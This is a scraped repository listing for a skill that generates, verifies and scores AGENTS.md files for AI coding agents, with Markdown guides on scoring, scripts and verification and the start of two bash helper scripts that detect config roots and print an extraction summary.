Sections These sections require human judgment - preserve them during updates: | Section | Why Manual | |---------|------------| | **Golden Samples** | Requires taste - which file exemplifies good patterns? | | **Heuristics** | Decision rules come from team experience | | **Boundaries** | Always/Ask/Never rules reflect team policy | | **Codebase State** | Tech debt awareness requires context | | **Terminology** | Domain knowledge is human insight | | **Architecture Decisions** | Why choices were made isn't extractable | ### Override Best Practices When updating existing AGENTS.md files, preserve custom content: **1. Use `--update` flag:** ```bash bash ${CLAUDE_SKILL_DIR}/scripts/generate-agents.sh /path/to/project --update ``` This preserves content outside `<!-- GENERATED:START -->` / `<!-- GENERATED:END -->` markers. **2. Place custom content outside markers:** ```markdown <!-- GENERATED:START --> ## Commands (auto-generated) | Command | Purpose | |---------|---------| | `make test` | Run tests | <!-- GENERATED:END --> ## Custom Heuristics (preserved) | When | Do | |------|-----| | Adding endpoint | Create OpenAPI spec first | ``` **3. Use scoped overrides for exceptions:** ``` project/ ├── AGENTS.md # Global rules └── legacy/ └── AGENTS.md # "Ignore linting in this directory" ``` **4. Review diffs before committing:** ```bash # After regenerating git diff AGENTS.md # Ensure custom sections weren't overwritten ``` ## Directory Coverage When creating AGENTS.md files, create them in ALL key directories: | Directory | Purpose | |-----------|---------| | Root | Precedence, architecture overview | | `Classes/` or `src/` | Source code patterns | | `Configuration/` or `config/` | Framework config | | `Documentation/` or `docs/` | Doc standards | | `Resources/` or `assets/` | Templates, assets | | `Tests/` | Testing patterns | -
quality-rubric.md 6.1 KB
# AGENTS.md Quality Rubric Grade AGENTS.md files so you know which ones most need work. The grade has two layers that are **kept separate on purpose**: 1. **Deterministic score** — `${CLAUDE_SKILL_DIR}/scripts/score-agents.sh PATH`. A 0-100 from the four verifier scripts; no model call, so re-running on an unchanged tree gives the same grade — except a file dated *today*, where git's bare-date `--since` can shift the Currency axis within the day. 2. **Qualitative LLM overlay** — three axes a *reading agent* judges (below). These vary between runs, so they are **never folded into the deterministic number**; present them as a separate annotation. ## Deterministic axes (score-agents.sh) | Axis | Max | Source | What it measures | |------|-----|--------|------------------| | Structure | 25 | `validate-structure.sh --json` | Managed header, thin root, precedence, scope links, CLAUDE.md symlink, required scoped sections | | Currency | 20 | `check-freshness.sh --json` | Commits in scope since the file's "Last updated" date | | Content | 20 | `verify-content.sh --json` | Documented files/commands/counts that match reality | | Commands | 15 | `verify-commands.sh --json` | Documented commands that actually run (root only) | | Conciseness | 20 | line count vs budget | Root ≤50 lines ideal; scoped files get a larger budget | Per file: `percent = earned / (sum of applicable axis maxima) × 100`. Scoped files have no Commands axis (maxima sum to 85, normalised to 100). Grades: **A ≥90 · B ≥75 · C ≥50 · D ≥30 · F <30**. ## Qualitative LLM overlay (agent-judged) Run after the deterministic score. Read each AGENTS.md and rate three axes the scripts cannot measure. Use **strong / adequate / weak** with a one-line reason. | Axis | Strong | Weak | |------|--------|------| | **Architecture clarity** | A new agent can place code from the file alone — key dirs, module relationships, entry points | Vague or missing structure; "see the code" | | **Actionability** | Concrete, copy-paste commands, real paths, decisive heuristics ("squash-merge", "ask first") | Theoretical advice ("follow best practices", "write good tests") | | **Non-obvious patterns** | Captures what code can't tell you — ordering deps, quirks, "why we do it this way" | Only restates what the filenames already say | ### A convention needs a fill-in skeleton, not a paragraph Actionability is not only about commands. Where the file states a *convention* the agent has to reproduce — commit trailers, a message format, a required header — prose is followed partially even when it is read, because the agent's own defaults fill the gap. Give it a skeleton to copy, near the top. Measured 2026-09-18 on `TYPO3-Documentation/TYPO3CMS-Reference-CoreApi`, whose `AGENTS.md` states its commit trailers as prose in two numbered rules: a clone with one uncommitted edit, a headless session asked only for the commit message, Haiku 4.5, six runs per variant. The unchanged file is the baseline and was run twice, once against each later batch, so its column pools 12 observations against the variants' 6. | | prose rules | + skeleton | + skeleton and "replace the example" | |---|---|---|---| | required trailer present and correct | 4 / 12 | 6 / 6 | 6 / 6 | | documented `Assisted-by:` form | 1 / 12 | 6 / 6 | 6 / 6 | | model correctly named | 0 / 12 | 1 / 6 | 6 / 6 | Two things the last column pays for: - **A concrete example is copied verbatim.** Five of six runs filed `Assisted-by: Claude Sonnet 5` while a different model was running — a skeleton turns a placeholder into an assertion unless it says to replace it. - **A placeholder loses the field.** Writing `<model name> <contact>` instead removed the false attribution by removing the trailer: it then appeared in 1 of 6. Keep the example *and* say to replace it. The control matters for the axis, too. Removing the one-line `CLAUDE.md` that holds `@AGENTS.md`, and leaving `AGENTS.md` itself in place, took every trailer to 0 of 6 — the same as deleting both, 0 of 4. So in the runs above the rules were reaching the session the whole time, and what the skeleton fixes is compliance, not delivery. "Not followed" and "not loaded" look identical in the output and have different fixes; verify which one you have before rewriting content. Claude Code reaches the rules only through `CLAUDE.md`, never by the AGENTS.md name alone; see [`ai-tool-compatibility.md`](ai-tool-compatibility.md). ### How to feed it back: `--review` Rate each file, write the ratings to JSON, and pass it to the scorer. It keeps the deterministic grade as the headline and adds a clearly-labelled, **non-reproducible** secondary grade: ```bash cat > /tmp/review.json <<'JSON' { "AGENTS.md": {"architecture":"strong","actionability":"adequate","non_obvious":"weak"}, "web/AGENTS.md": {"architecture":"weak","actionability":"weak","non_obvious":"weak"} } JSON bash ${CLAUDE_SKILL_DIR}/scripts/score-agents.sh PATH --review /tmp/review.json ``` ``` B 78/100 AGENTS.md structure 25/25 currency 15/20 content 18/20 conciseness 20/20 commands 0/15 with review: B ~75/100 (non-reproducible) ``` Rating → fraction of the axis max: **strong = 1.0 · adequate = 0.6 · weak = 0.2**. Blended = `(deterministic_earned + llm_earned) / (deterministic_max + 25) × 100`. The headline `percent`/`grade` are **byte-identical** with or without `--review` — the overlay never moves the reproducible number. - The overlay's job is to catch files that **score well but read poorly** — e.g. structurally complete (B+) yet every line is obvious, or actionability is vague. Those are the highest-value edits. - The blended figure varies between reviews (model judgement); the deterministic headline stays put. Always cite both, never the blended number alone. ## Workflow 1. `${CLAUDE_SKILL_DIR}/scripts/score-agents.sh PATH` → deterministic report (worst-first). 2. Open the worst-graded files; run the three overlay axes on each. 3. Fix highest-leverage gaps first (a `D` on Structure is mechanical; a `weak` on Non-obvious patterns needs human/session knowledge — see [`feedback-memory-schema.md`](feedback-memory-schema.md) and the retro-skill). -
scripts-guide.md 7.5 KB
# Scripts Guide Complete reference for all AGENTS.md generator scripts. ## Generating AGENTS.md Files ```bash bash ${CLAUDE_SKILL_DIR}/scripts/generate-agents.sh /path/to/project ``` Options: - `--dry-run` - Preview changes without writing files - `--json` - Emit the write manifest as JSON instead of prose (see below) - `--verbose` - Show detailed output - `--style=thin` - Use thin root template (~30 lines, default) - `--style=verbose` - Use verbose root template (~100-200 lines) - `--update` - Update existing files only (preserves human edits outside generated markers) - `--claude-shim` - Generate CLAUDE.md that imports AGENTS.md (root only, legacy) - `--no-symlinks` - Do not create CLAUDE.md/GEMINI.md at any level. They are created by default at every level where an AGENTS.md is generated, which is what enables Claude Code on-demand loading and Gemini CLI native loading. - `--force` - Replace existing CLAUDE.md/GEMINI.md files that are not ours ### Write manifest (`--json`) One entry per path the run touches, following the `schema: 1` shape the verifier scripts use. With `--dry-run` it is a plan of what would be written; without it, a receipt of what was. Paths are relative to the project root. ```bash bash ${CLAUDE_SKILL_DIR}/scripts/generate-agents.sh /path/to/project --dry-run --json ``` ```json { "script": "generate-agents", "schema": 1, "dry_run": true, "project": "/path/to/project", "summary": { "write": 1, "symlink": 1, "keep": 1 }, "operations": [ { "op": "write", "kind": "agents-file", "path": "AGENTS.md" }, { "op": "symlink", "kind": "compat-file", "path": "CLAUDE.md", "target": "AGENTS.md" }, { "op": "keep", "kind": "compat-file", "path": "GEMINI.md", "reason": "regular file" } ] } ``` `op` is `write`, `symlink` or `keep`; `keep` means an existing file was left alone and carries the reason. Human output is suppressed under `--json`, so stdout is parseable on its own. ## Validating Structure ```bash bash ${CLAUDE_SKILL_DIR}/scripts/validate-structure.sh /path/to/project ``` Options: - `--check-freshness, -f` - Also check if files are up to date with git commits - `--verbose, -v` - Show detailed output ## Checking Freshness ```bash bash ${CLAUDE_SKILL_DIR}/scripts/check-freshness.sh /path/to/project ``` This script: - Extracts the "Last updated" date from the AGENTS.md header - Checks git commits since that date for files in the relevant scope - Reports if there are commits that might require AGENTS.md updates Options: - `--verbose, -v` - Show commit details and changed files - `--threshold=DAYS` - Days threshold to consider stale (default: 7) Example with full validation: ```bash bash ${CLAUDE_SKILL_DIR}/scripts/validate-structure.sh /path/to/project --check-freshness --verbose ``` ## Detecting Project Type ```bash bash ${CLAUDE_SKILL_DIR}/scripts/detect-project.sh /path/to/project ``` Detects project language, version, and build tools. ## Detecting Scopes ```bash bash ${CLAUDE_SKILL_DIR}/scripts/detect-scopes.sh /path/to/project ``` Identifies directories that should have scoped AGENTS.md files. ## Extracting Commands ```bash bash ${CLAUDE_SKILL_DIR}/scripts/extract-commands.sh /path/to/project ``` Extracts build commands from Makefile, package.json, composer.json, or go.mod. ## Extracting Documentation ```bash bash ${CLAUDE_SKILL_DIR}/scripts/extract-documentation.sh /path/to/project ``` Extracts information from README.md, CONTRIBUTING.md, SECURITY.md, and other documentation. ## Extracting Platform Files ```bash bash ${CLAUDE_SKILL_DIR}/scripts/extract-platform-files.sh /path/to/project ``` Extracts information from .github/, .gitlab/, CODEOWNERS, dependabot.yml, etc. ## Extracting IDE Settings ```bash bash ${CLAUDE_SKILL_DIR}/scripts/extract-ide-settings.sh /path/to/project ``` Extracts information from .editorconfig, .vscode/, .idea/, etc. ## Extracting AI Agent Configs ```bash bash ${CLAUDE_SKILL_DIR}/scripts/extract-agent-configs.sh /path/to/project ``` Extracts information from .cursor/, .claude/, copilot-instructions.md, etc. ## Verifying Content Accuracy **CRITICAL: Always run this before considering AGENTS.md files complete.** ```bash bash ${CLAUDE_SKILL_DIR}/scripts/verify-content.sh /path/to/project ``` This script: - Checks if documented files actually exist - Verifies Makefile targets are real - Compares module/script counts against actual files - Reports undocumented files that should be added - Reports documented files that don't exist Options: - `--verbose, -v` - Show detailed verification output - `--fix` - Suggest fixes for common issues **This verification step is MANDATORY when updating existing AGENTS.md files.** ## Verifying Commands Work To prevent "command rot" (documented commands that no longer work): ```bash bash ${CLAUDE_SKILL_DIR}/scripts/verify-commands.sh /path/to/project ``` This script: - Extracts commands from AGENTS.md tables and code blocks - Verifies npm/yarn scripts exist in package.json - Verifies make targets exist in Makefile - Verifies composer scripts exist in composer.json - Updates "Last verified" timestamp on success Options: - `VERBOSE=true` - Show detailed output - `DRY_RUN=true` - Don't update timestamp **Why this matters:** Research shows broken commands waste 500+ tokens as agents debug non-existent commands. Verified commands enable confident execution. ## Scoring Quality ```bash bash ${CLAUDE_SKILL_DIR}/scripts/score-agents.sh /path/to/project # human report, worst-first bash ${CLAUDE_SKILL_DIR}/scripts/score-agents.sh /path/to/project --json # machine-readable scoring ``` Aggregates the `--json` output of the four verifier scripts into a **reproducible** 0-100 grade per AGENTS.md file (A-F), ranked worst-first so you know where to spend effort. Same tree → same grade (no model call; CI-friendly). Axes: Structure 25 · Currency 20 · Content 20 · Commands 15 (root) · Conciseness 20. Scoped files have no Commands axis and normalise over the remaining 85. The four verifiers each gained a `--json` mode (strictly additive — default output is unchanged). For the qualitative LLM overlay (Architecture / Actionability / Non-obvious patterns), which is deliberately **not** part of the deterministic number, see [`quality-rubric.md`](quality-rubric.md). > Note: `score-agents.sh` grades whatever `validate-structure.sh` lists, which does > not honour `.gitignore` (it will include generated/vendored AGENTS.md under the > tree). Point it at a clean project root, or exclude such trees, for a clean grade. ## Post-Generation Validation Checklist **After generating AGENTS.md files, ALWAYS validate the output:** ```bash # 1. Run structure validation bash ${CLAUDE_SKILL_DIR}/scripts/validate-structure.sh /path/to/project --verbose # 2. Verify content accuracy bash ${CLAUDE_SKILL_DIR}/scripts/verify-content.sh /path/to/project # 3. Verify commands work bash ${CLAUDE_SKILL_DIR}/scripts/verify-commands.sh /path/to/project ``` **Validation criteria:** | Check | Pass Criteria | Common Issues | |-------|---------------|---------------| | **Thin root** | Root AGENTS.md <= 80 lines | Duplicated scope content in root | | **All scopes covered** | Every major directory has AGENTS.md | Missing `Tests/`, `Configuration/` | | **No duplication** | Content appears in ONE location | Commands duplicated in root + scope | | **Commands verified** | All documented commands execute | Typos, renamed targets | | **Files exist** | All referenced files are real | Hallucinated paths | | **Links valid** | All cross-references resolve | Broken relative paths | **Never consider generation complete until all checks pass.** -
verification-guide.md 9.3 KB
# Verification Guide **NEVER trust existing AGENTS.md content as accurate.** Always verify documented information against the actual codebase. ## Mandatory Verification Steps 1. **Extract actual state from source files:** - List all modules/files with their actual docstrings - List all scripts and their actual purposes - Extract actual Makefile/package.json commands - List actual test files and structure 2. **Compare extracted state against documented state:** - Check if documented files actually exist - Check if documented commands actually work - Check if module descriptions match actual docstrings - Check if counts (modules, scripts, tests) are accurate 3. **Identify and fix discrepancies:** - Remove documentation for non-existent files - Add documentation for undocumented files - Correct inaccurate descriptions - Update outdated counts and references 4. **Preserve unverifiable content:** - Keep manually-written context that can't be extracted - Keep subjective guidance and best practices - Mark preserved content appropriately ## What to Verify | Category | Verification Method | |----------|---------------------| | Module list | `ls <dir>/*.py` + read docstrings | | Script list | `ls scripts/*.sh` + read headers | | Commands | `grep` Makefile targets **AND run them** | | Test files | `ls tests/*.py` | | Data files | `ls *.json` in project root | | Config files | Check actual existence | | **File names** | **EXACT match required** (not just existence) | | **Numeric values** | PHPStan level, coverage %, etc. from actual configs | ## Critical: Exact Name Matching File names in AGENTS.md must match actual filenames **exactly**: | Documented | Actual | Status | |------------|--------|--------| | `CowriterAjaxController.php` | `AjaxController.php` | **WRONG** - name mismatch | | `AjaxController.php` | `AjaxController.php` | Correct | **Real-world example from t3x-cowriter review:** - AGENTS.md documented `Controller/CowriterAjaxController.php` - Actual file was `Controller/AjaxController.php` - This mismatch confused agents trying to find the file ## Critical: Command Verification Commands documented in AGENTS.md must actually work when run: ```bash # BAD: Document without testing make test-mutation # May not exist! # GOOD: Verify before documenting make -n test-mutation 2>/dev/null && echo "EXISTS" || echo "MISSING" ``` **Real-world example from t3x-cowriter review:** - AGENTS.md documented `make test-mutation` and `make phpstan` - Neither target existed (actual was `make typecheck`) - Agents failed when trying to run documented commands ## Example Verification Commands ```bash # Extract actual module docstrings for f in cli_audit/*.py; do head -20 "$f" | grep -A5 '"""'; done # List actual scripts ls scripts/*.sh # Extract Makefile targets grep -E '^[a-z_-]+:' Makefile* # List actual test files ls tests/*.py tests/**/*.py ``` ## Anti-Patterns to Avoid - **WRONG:** Updating only dates and counts based on git commits - **WRONG:** Trusting that existing AGENTS.md was created correctly - **WRONG:** Copying file lists without verifying they exist - **WRONG:** Using extracted command output without running it - **RIGHT:** Extract -> Compare -> Fix discrepancies -> Validate ## The scripts verify structure, not preservation `validate-structure.sh` and `score-agents.sh` answer "does this file have the right shape", never "is the knowledge still here". An update that deletes a hard-won convention to meet the line budget passes both, and scores *higher* afterwards, because conciseness is a graded dimension and lost knowledge is not. This is not hypothetical. In a 24-repo sweep on 2026-08-19 three updates were green on every script and still wrong: one dropped a curated response-style section, one dropped an "Implementation Conventions" block distilled from five PR review cycles, one wrote a file count into a repo whose own unit test forbids exactly that. Two of the three were caught by reading the diff; the third by CI. So after any update to an existing AGENTS.md, run the preservation check by hand: ```bash # Every heading the change removed -- each one needs an answer git diff <base>...HEAD -- AGENTS.md | grep -E '^-## ' # For each, prove where it went (scoped file, docs/, an ADR) or that it is genuinely obsolete grep -rn "<distinctive phrase from the removed section>" AGENTS.md */AGENTS.md docs/ ``` Relocation is the normal, correct outcome — the [pointer principle](../SKILL.md) wants detail out of the root. Deletion is legitimate when the thing described no longer exists. What is never acceptable is *unaccounted* removal, and the scripts cannot tell the three apart. A removed heading with no successor is a finding, not a diff artifact. The mirror-image failure is characterizing a deletion you have not read: a diffstat gives size, not significance. Before calling removed content a loss, read it at the parent commit (`git show <commit>^:<path>`) and check whether what it documents still exists — in the same sweep, a 105-line file that looked like a painful loss turned out to document seven workflows deleted in that very commit. ## What NOT to Put in a Root AGENTS.md The **root** AGENTS.md is auto-loaded into every session -- each line spends prompt budget that is never reclaimed. Be ruthless here. (Scoped/subdirectory files load on demand, so they can carry more detail; this economy applies hardest to the root.) | Don't add | Why | Instead | |-----------|-----|---------| | Restating what the filename/code already says | The agent reads the code anyway | Document only what is *not* derivable | | Generic best practices ("write tests", "use clear names") | Universal advice, not project-specific | Cut it -- the model already knows | | One-off fixes ("fixed login bug in #123") | Won't recur; pure clutter | Cut it; it lives in git history | | Tutorials on well-known tech (what JWT/Docker *is*) | Wastes tokens on what the model knows | One line: the project's *choice*, not the lesson | | Duplicating a scoped file's content in root | Breaks the Pointer Principle | Link to the scoped `AGENTS.md` | ### Compression: bad -> good Each rewrite keeps the project-specific signal and drops the filler. **Obvious-code restatement** - BAD: `The UserService class handles user-related operations.` - GOOD: *(omit -- the class name already says this)* **Tutorial instead of the project's choice** - BAD: `Auth uses JWT. JSON Web Tokens (RFC 7519) are a compact, self-contained way to transmit signed claims as JSON; we picked HS256 because...` - GOOD: `Auth: JWT (HS256), Bearer token in the Authorization header.` **Generic advice** - BAD: `Always validate user input and write tests for new features.` - GOOD: *(omit -- universal, not specific to this repo)* **Prose where a pointer wins** - BAD: `To run the tests, first install dependencies with composer, then run the PHPUnit suite through the composer test script...` - GOOD: `Tests: composer test (PHPUnit). See Tests/AGENTS.md.` > **Litmus test:** *"Would a senior engineer who knows this stack but not this repo > learn something from this line?"* If no, cut it. ## Agent-Optimized Design This skill generates AGENTS.md files optimized for AI coding agent efficiency based on: - [Research showing 16.58% token reduction with good AGENTS.md](https://arxiv.org/html/2601.20404) - [GitHub best practices from 2,500+ repositories](https://github.blog/ai-and-ml/github-copilot/how-to-write-a-great-agents-md-lessons-from-over-2500-repositories/) - Multi-agent collaborative design (Claude + Gemini discussion) ### Key Design Principles 1. **Structured over Prose** - Tables and maps parse faster than paragraphs 2. **Verified Commands** - Commands that don't work waste 500+ tokens debugging 3. **Pointer Principle** - Point to files, don't duplicate content 4. **Time Estimates** - Help agents choose appropriate test scope 5. **Golden Samples** - One example file beats pages of explanation 6. **Heuristics Tables** - Eliminate decision ambiguity ### Token-Saving Sections | Section | Saves | How | |---------|-------|-----| | Commands (verified) | 500+ tokens | No debugging broken commands | | File Map | 3-5 search cycles | Direct navigation | | Golden Samples | Full rewrites | Correct patterns first time | | Utilities List | Duplicate code | Reuse existing helpers | | Heuristics | User correction cycles | Autonomous decisions | | Codebase State | Breaking changes | Avoid legacy/migration code | ## Capabilities - **Thin root files** (~50 lines) with precedence rules and agent-optimized tables - **Scoped files** for subsystems (backend/, frontend/, internal/, cmd/) - **Auto-extracted commands** from Makefile, package.json, composer.json, go.mod - **Language-specific templates** for Go, PHP, TypeScript, Python, hybrid projects - **Freshness checking** - Detects if AGENTS.md files are outdated by comparing their "Last updated" date with git commits - **Automatic timestamps** - All generated files include creation/update dates in the header - **Documentation extraction** - Parses README.md, CONTRIBUTING.md, SECURITY.md, CHANGELOG.md - **Platform file extraction** - Parses .github/, .gitlab/ templates, CODEOWNERS, dependabot.yml - **IDE settings extraction** - Parses .editorconfig, .vscode/, .idea/, .phpstorm/ - **AI agent config extraction** - Parses .cursor/, .claude/, .windsurf/, copilot-instructions.md - **Extraction summary** - Verbose mode shows all detected settings and their sources
-
-
scripts
-
lib
-
config-root.sh 5.8 KB
#!/usr/bin/env bash # Find nearest config root for a given stack type # Find nearest directory containing package.json (for Node scopes) # Usage: find_node_config_root "/path/to/scope" # Returns: directory path or empty string find_node_config_root() { local start_dir="$1" local search_dir="$start_dir" while [[ "$search_dir" != "." && "$search_dir" != "/" ]]; do if [[ -f "$search_dir/package.json" ]]; then echo "$search_dir" return 0 fi search_dir=$(dirname "$search_dir") done # Check project root as fallback if [[ -f "package.json" ]]; then echo "." return 0 fi return 1 } # Find nearest directory containing composer.json (for PHP scopes) find_php_config_root() { local start_dir="$1" local search_dir="$start_dir" while [[ "$search_dir" != "." && "$search_dir" != "/" ]]; do if [[ -f "$search_dir/composer.json" ]]; then echo "$search_dir" return 0 fi search_dir=$(dirname "$search_dir") done if [[ -f "composer.json" ]]; then echo "." return 0 fi return 1 } # Find nearest directory containing go.mod (for Go scopes) find_go_config_root() { local start_dir="$1" local search_dir="$start_dir" while [[ "$search_dir" != "." && "$search_dir" != "/" ]]; do if [[ -f "$search_dir/go.mod" ]]; then echo "$search_dir" return 0 fi search_dir=$(dirname "$search_dir") done if [[ -f "go.mod" ]]; then echo "." return 0 fi return 1 } # Find nearest directory containing pyproject.toml or setup.py (for Python scopes) find_python_config_root() { local start_dir="$1" local search_dir="$start_dir" while [[ "$search_dir" != "." && "$search_dir" != "/" ]]; do if [[ -f "$search_dir/pyproject.toml" || -f "$search_dir/setup.py" ]]; then echo "$search_dir" return 0 fi search_dir=$(dirname "$search_dir") done if [[ -f "pyproject.toml" || -f "setup.py" ]]; then echo "." return 0 fi return 1 } # Find Node workspace root (monorepo root) # Detects: pnpm-workspace.yaml, package.json with "workspaces", lerna.json, nx.json # Usage: find_node_workspace_root "/path/to/scope" # Returns: workspace root directory or empty string find_node_workspace_root() { local start_dir="$1" local search_dir="$start_dir" while [[ "$search_dir" != "." && "$search_dir" != "/" ]]; do # pnpm workspace if [[ -f "$search_dir/pnpm-workspace.yaml" ]]; then echo "$search_dir" return 0 fi # npm/yarn workspaces (package.json with "workspaces" field) if [[ -f "$search_dir/package.json" ]]; then if jq -e '.workspaces' "$search_dir/package.json" >/dev/null 2>&1; then echo "$search_dir" return 0 fi fi # Lerna monorepo if [[ -f "$search_dir/lerna.json" ]]; then echo "$search_dir" return 0 fi # Nx monorepo if [[ -f "$search_dir/nx.json" ]]; then echo "$search_dir" return 0 fi search_dir=$(dirname "$search_dir") done # Check project root as fallback if [[ -f "pnpm-workspace.yaml" ]]; then echo "." return 0 fi if [[ -f "package.json" ]] && jq -e '.workspaces' "package.json" >/dev/null 2>&1; then echo "." return 0 fi if [[ -f "lerna.json" || -f "nx.json" ]]; then echo "." return 0 fi return 1 } # Extract Node version from nearest config # Priority: package.json engines.node > .nvmrc > .node-version > .tool-versions get_node_version() { local config_root="$1" local version="" # Try package.json engines.node if [[ -f "$config_root/package.json" ]]; then version=$(jq -r '.engines.node // empty' "$config_root/package.json" 2>/dev/null) [[ -n "$version" ]] && echo "$version" && return 0 fi # Try .nvmrc if [[ -f "$config_root/.nvmrc" ]]; then version=$(tr -d '[:space:]' < "$config_root/.nvmrc") [[ -n "$version" ]] && echo "$version" && return 0 fi # Try .node-version if [[ -f "$config_root/.node-version" ]]; then version=$(tr -d '[:space:]' < "$config_root/.node-version") [[ -n "$version" ]] && echo "$version" && return 0 fi # Try .tool-versions (asdf) if [[ -f "$config_root/.tool-versions" ]]; then version=$(grep '^nodejs ' "$config_root/.tool-versions" 2>/dev/null | awk '{print $2}') [[ -n "$version" ]] && echo "$version" && return 0 fi return 1 } # Extract JS framework from package.json dependencies get_js_framework() { local config_root="$1" [[ ! -f "$config_root/package.json" ]] && return 1 local deps deps=$(jq -r '(.dependencies // {}) + (.devDependencies // {}) | keys[]' \ "$config_root/package.json" 2>/dev/null) # Check in priority order (more specific first) echo "$deps" | grep -qw 'next' && echo "next.js" && return 0 echo "$deps" | grep -qw 'nuxt' && echo "nuxt" && return 0 echo "$deps" | grep -qw 'svelte' && echo "svelte" && return 0 echo "$deps" | grep -qw 'vue' && echo "vue" && return 0 echo "$deps" | grep -qw 'react' && echo "react" && return 0 echo "$deps" | grep -qw 'express' && echo "express" && return 0 return 1 } # Check if TypeScript strict mode is enabled get_ts_strict_mode() { local config_root="$1" [[ ! -f "$config_root/tsconfig.json" ]] && return 1 local strict strict=$(jq -r '.compilerOptions.strict // false' "$config_root/tsconfig.json" 2>/dev/null) [[ "$strict" == "true" ]] && echo "true" && return 0 return 1 } -
summary.sh 11.6 KB
#!/usr/bin/env bash # Summary output formatting helpers # Colors (only if terminal supports it) if [[ -t 1 ]]; then GREEN='\033[0;32m' YELLOW='\033[0;33m' # shellcheck disable=SC2034 # part of the palette; kept so the colour and # no-colour branches stay symmetric rather than losing one entry. BLUE='\033[0;34m' CYAN='\033[0;36m' GRAY='\033[0;90m' BOLD='\033[1m' NC='\033[0m' # No Color else GREEN='' YELLOW='' # shellcheck disable=SC2034 # see the palette comment above BLUE='' CYAN='' GRAY='' BOLD='' NC='' fi # Summary data storage # shellcheck disable=SC2034 # written by add_summary below and read by nothing # in this repository — the provenance it records has no consumer yet. Left in # place rather than deleted, but it buys no trust until something reads it. declare -A SUMMARY_SOURCES declare -a SUMMARY_RULES declare -a SUMMARY_WARNINGS # Initialize summary init_summary() { SUMMARY_SOURCES=() SUMMARY_RULES=() SUMMARY_WARNINGS=() } # Record a detected value with its source # Usage: record_detection "category" "value" "source_file" "source_detail" record_detection() { local category="$1" local value="$2" local source_file="$3" local source_detail="${4:-}" if [[ -n "$source_detail" ]]; then SUMMARY_SOURCES["$category"]="$value (from $source_file: $source_detail)" else # shellcheck disable=SC2034 # see the declaration comment above SUMMARY_SOURCES["$category"]="$value (from $source_file)" fi } # Record an extracted rule # Usage: record_rule "rule_type" "rule_value" "source" record_rule() { local rule_type="$1" local rule_value="$2" local source="$3" SUMMARY_RULES+=("$rule_type: $rule_value [$source]") } # Record a warning # Usage: record_warning "message" record_warning() { local message="$1" SUMMARY_WARNINGS+=("$message") } # Print the extraction summary print_summary() { local project_info="$1" local scopes_info="$2" local commands_info="$3" local docs_info="${4:-{}}" local platform_info="${5:-{}}" local ide_info="${6:-{}}" local agent_info="${7:-{}}" echo "" echo -e "${BOLD}═══════════════════════════════════════════════════════════════${NC}" echo -e "${BOLD} EXTRACTION SUMMARY ${NC}" echo -e "${BOLD}═══════════════════════════════════════════════════════════════${NC}" echo "" # Project Detection echo -e "${CYAN}▸ Project Detection${NC}" echo -e " ${GRAY}────────────────────────────────────────${NC}" local lang lang=$(echo "$project_info" | jq -r '.language') local version version=$(echo "$project_info" | jq -r '.version') local ptype ptype=$(echo "$project_info" | jq -r '.type') local framework framework=$(echo "$project_info" | jq -r '.framework') local build_tool build_tool=$(echo "$project_info" | jq -r '.build_tool') local test_fw test_fw=$(echo "$project_info" | jq -r '.test_framework') local ci ci=$(echo "$project_info" | jq -r '.ci') local docker docker=$(echo "$project_info" | jq -r '.has_docker') # Determine source file local lang_source="" case "$lang" in go) lang_source="go.mod" ;; php) lang_source="composer.json" ;; typescript) lang_source="package.json" ;; python) lang_source="pyproject.toml" ;; esac printf " %-16s ${GREEN}%s${NC} ${GRAY}(from %s)${NC}\n" "Language:" "$lang" "$lang_source" [[ "$version" != "unknown" ]] && printf " %-16s ${GREEN}%s${NC}\n" "Version:" "$version" [[ "$ptype" != "unknown" ]] && printf " %-16s %s\n" "Project type:" "$ptype" [[ "$framework" != "none" ]] && printf " %-16s %s\n" "Framework:" "$framework" printf " %-16s %s\n" "Build tool:" "$build_tool" [[ "$test_fw" != "unknown" ]] && printf " %-16s %s\n" "Test framework:" "$test_fw" [[ "$ci" != "none" ]] && printf " %-16s %s\n" "CI/CD:" "$ci" [[ "$docker" == "true" ]] && printf " %-16s %s\n" "Docker:" "yes" # Quality Tools local tools tools=$(echo "$project_info" | jq -r '.quality_tools | join(", ")') if [[ -n "$tools" && "$tools" != "" ]]; then echo "" echo -e "${CYAN}▸ Quality Tools Detected${NC}" echo -e " ${GRAY}────────────────────────────────────────${NC}" printf " %s\n" "$tools" fi # IDE Configs (from ide_info) local detected_ides detected_ides=$(echo "$ide_info" | jq -r '.detected_ides | join(", ")' 2>/dev/null || echo "") if [[ -n "$detected_ides" && "$detected_ides" != "" ]]; then echo "" echo -e "${CYAN}▸ IDE Configurations${NC}" echo -e " ${GRAY}────────────────────────────────────────${NC}" printf " %s\n" "$detected_ides" # Show editorconfig details if present local indent indent=$(echo "$ide_info" | jq -r '.editorconfig.indent_style // ""' 2>/dev/null || echo "") if [[ -n "$indent" ]]; then local indent_size indent_size=$(echo "$ide_info" | jq -r '.editorconfig.indent_size // ""' 2>/dev/null || echo "") printf " ${GRAY}→ indent: %s (%s)${NC}\n" "$indent" "$indent_size" fi fi # AI Agent Configs (from agent_info) local detected_agents detected_agents=$(echo "$agent_info" | jq -r '.detected_agents | join(", ")' 2>/dev/null || echo "") if [[ -n "$detected_agents" && "$detected_agents" != "" ]]; then echo "" echo -e "${CYAN}▸ AI Agent Configurations${NC}" echo -e " ${GRAY}────────────────────────────────────────${NC}" printf " %s\n" "$detected_agents" fi # Documentation Files (from docs_info) local has_contributing has_contributing=$(echo "$docs_info" | jq -r '.contributing.file // ""' 2>/dev/null || echo "") local has_security has_security=$(echo "$docs_info" | jq -r '.security.file // ""' 2>/dev/null || echo "") local has_changelog has_changelog=$(echo "$docs_info" | jq -r '.changelog.file // ""' 2>/dev/null || echo "") local has_coc has_coc=$(echo "$docs_info" | jq -r '.code_of_conduct.exists // false' 2>/dev/null || echo "false") if [[ -n "$has_contributing" || -n "$has_security" || -n "$has_changelog" || "$has_coc" == "true" ]]; then echo "" echo -e "${CYAN}▸ Documentation Files${NC}" echo -e " ${GRAY}────────────────────────────────────────${NC}" [[ -n "$has_contributing" ]] && printf " ✓ %s\n" "$has_contributing" [[ -n "$has_security" ]] && printf " ✓ %s\n" "$has_security" [[ -n "$has_changelog" ]] && printf " ✓ %s\n" "$has_changelog" [[ "$has_coc" == "true" ]] && printf " ✓ CODE_OF_CONDUCT.md\n" fi # Platform Files (from platform_info) local platform platform=$(echo "$platform_info" | jq -r '.platform // "none"' 2>/dev/null || echo "none") if [[ "$platform" != "none" ]]; then local pr_template pr_template=$(echo "$platform_info" | jq -r '.pull_request.template_file // ""' 2>/dev/null || echo "") local codeowners codeowners=$(echo "$platform_info" | jq -r 